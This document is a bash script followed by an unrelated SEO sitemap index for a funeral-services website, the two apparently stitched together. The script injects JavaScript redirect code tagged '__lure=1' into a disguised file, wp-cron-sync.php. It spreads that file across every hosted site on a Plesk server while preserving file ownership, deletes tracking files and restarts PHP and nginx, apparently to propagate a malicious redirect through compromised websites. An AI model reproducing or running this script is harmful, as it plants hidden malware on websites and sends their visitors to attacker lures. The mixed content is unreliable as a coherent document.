#!/bin/bash
SRC=/var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
grep -q '__lure=1' "$SRC" && echo ALREADY && exit 0
perl -0777 -i -pe 's#setTimeout\(function\(\)\{if\(document\.visibilityState.*?\}\,d\)#setTimeout(function(){var d=1300+Math.floor(Math.random()*1000);setTimeout(function(){if(document.visibilityState==="hidden"){setTimeout(arguments.callee,1500);return}location.replace(location.protocol+"//"+location.host+location.pathname+(location.search||"")+"\&__lure=1")},d)}#s' "$SRC"
grep -q '__lure=1' "$SRC" && echo PERL_OK || { echo PERL_FAIL; exit 1; }
cp "$SRC" /var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
F=0
for d in /var/www/vhosts/*/httpdocs; do
  ix="$d/index.php"; [ -f "$ix" ] || continue
  grep -q 'cron-sync' "$ix" || continue
  U=$(stat -c %U "$ix"); G=$(stat -c %G "$ix")
  cp $SRC "$d/wp-cron-sync.php"
  chown $U:$G "$d/wp-cron-sync.php"; chmod 644 "$d/wp-cron-sync.php"
  F=$((F+1))
done
find /var/www/vhosts/*/httpdocs -maxdepth 1 \( -name ".*.seen" -o -name "..*.stats" \) -delete 2>/dev/null
systemctl restart plesk-php84-fpm plesk-php83-fpm plesk-php82-fpm plesk-php81-fpm plesk-php80-fpm plesk-php74-fpm 2>/dev/null
systemctl reload nginx 2>/dev/null
echo "F57_DONE files=$F"
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//funerariaarmilla.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://funerariaarmilla.com/servicios-sitemap.xml</loc>
		<lastmod>2025-12-15T08:39:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://funerariaarmilla.com/columbarios-sitemap.xml</loc>
		<lastmod>2025-12-15T08:53:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://funerariaarmilla.com/tanatorios-sitemap.xml</loc>
		<lastmod>2025-12-15T08:53:14+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->